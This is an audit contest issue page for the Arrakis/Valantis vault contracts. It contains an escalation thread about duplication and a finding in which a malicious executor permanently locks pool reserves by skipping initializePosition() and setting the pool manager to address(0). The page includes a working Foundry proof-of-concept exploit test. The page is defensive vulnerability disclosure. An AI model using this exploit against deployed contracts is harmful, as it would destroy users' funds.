Closed sherlock-admin2 closed 3 months ago
Escalate
not a dupe of #50, this involves griefing 100% of the liquidity, not stealing it.
Escalate
not a dupe of #50, this involves griefing 100% of the liquidity, not stealing it.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
As I understand, these 2 issues have the same root cause which is the RESTRICTED executor role calling setModules
with malicious payloads
. But this and #50 have slightly different attacks to achieve different impacts, but still they exploit the very same piece of code and vulnerability, no?
Or I may assume the root causes of these 2 issues are different, but they can be exploited through malicious payloads?
You are right, nearly same root cause. The main difference is that the malicious payload passed to setModule()
is different, leading to a different impact.
I will respect your decision regarding the duplication.
I believe the root cause is the same, but with 2 different attack paths. Hence, these should remain duplicates.
Planning to reject the escalation and leave this issue as it is.
Result: High Duplicate of #50
juaan
high
A malicious executor can grief 100% of the pool reserves
Summary
See detail.
Vulnerability Detail
When
ArrakisMetaVault.setModule()
is called, it withdraws reserves from the old module, transfers them to the new module, and allows the executor to pass payloads in external calls to the new module.The intention is that the executor will call
initializePosition()
as one of the payloads, to ensure that the transferred tokens are actually deposited via the ALM, otherwise they will remain stuck in the module.However since the
executor
is a RESTRICTED role, they are not trusted to act correctly. Hence a maliciousexecutor
can callsetModule()
via theArrakisStandardManager.setModule()
function, but without passing theinitializePosition()
payload.This leads to the entire pool reserves being sent to the module, but not deposited into the pool. Since
initializePosition()
is anonlyMetaVault
function, it can never be called since the module has already been set.Even worse:
These funds can technically still be recollected by the admins, by calling
ValantisHOTModule.withdrawManagerBalance()
However, a malicious executor can DoS this function permanently, due to the fact that this function calls
pool.claimPoolManagerFees(0,0)
.The malicious executor can execute a rebalance where instead of executing a swap, they call the
onlyPoolManager
functionpool.setPoolManager()
, and set it toaddress(0)
.The only condition for this to not revert is that there is at least 1 wei of manager fees to pay, so 1 swap must be done beforehand.
Then since the
poolManager
is address(0), the call toclaimPoolManagerFees()
via the module will fail since it is no longer thepoolManager
.As a result, the funds will be PERMANENTLY stuck in the module, not even retrievable by admins.
A PoC for this DoS is provided
Impact
Entire pool reserves stuck in new module, not deposited into pool.
As a result, share value goes to zero when withdrawing.
A malicious executor can front-run a large withdrawal, and perform this attack, so that they burn their shares but redeem 0 tokens.
100% of the reserves will be permanently stuck in the module.
Proof of Concept
Fund collection DOS
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // General Imports import {IOwnable} from "../../src/interfaces/IOwnable.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_ChangePoolManager_ToZeroAddress is ValantisIntegrationPublicTest { address attacker; address rec; function test_changePoolManager_toZeroAddress() public { rec = makeAddr("rec"); attacker = makeAddr("attacker"); address m = address(IArrakisMetaVault(vault).module()); assertEq(pool.poolManager(), m); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); uint256 FEE_AMOUNT_0 = 1 wei; uint256 FEE_AMOUNT_1 = 1 wei; //@e Simulating 1 wei of fees in the `SovereignPool` vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0)); vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1)); // Sending the fee to the pool deal(address(token0), address(pool), token0.balanceOf(address(pool)) + FEE_AMOUNT_0); deal(address(token1), address(pool), token1.balanceOf(address(pool)) + FEE_AMOUNT_1); bool zeroForOne = false; uint256 amountIn = 1; // Using smallest possible values since we are not actually swapping anything uint256 expectedMinReturn = 1; bytes memory payload = abi.encodeWithSelector( SovereignPool.setPoolManager.selector, address(0) // new poolmanager ); bytes memory data = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(pool), 0, //note: this 0,0 lets us skip the checks in `HOT::_checkSpotPriceRange` during depositLiquidity 0, payload ); bytes[] memory datas = new bytes[](1); datas[0] = data; (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); // Perform the attack vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); assertEq(pool.poolManager(), address(0)); // Assert that the function cannot be called anymore, so funds are lost vm.expectRevert(abi.encodeWithSignature("SovereignPool__onlyPoolManager()")); ValantisModule(m).withdrawManagerBalance(); } } ```Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ArrakisMetaVault.sol#L97-L134
Tool used
Manual Review
Recommendation
Force
initializePosition()
to be called on the module duringsetModule()
Duplicate of #50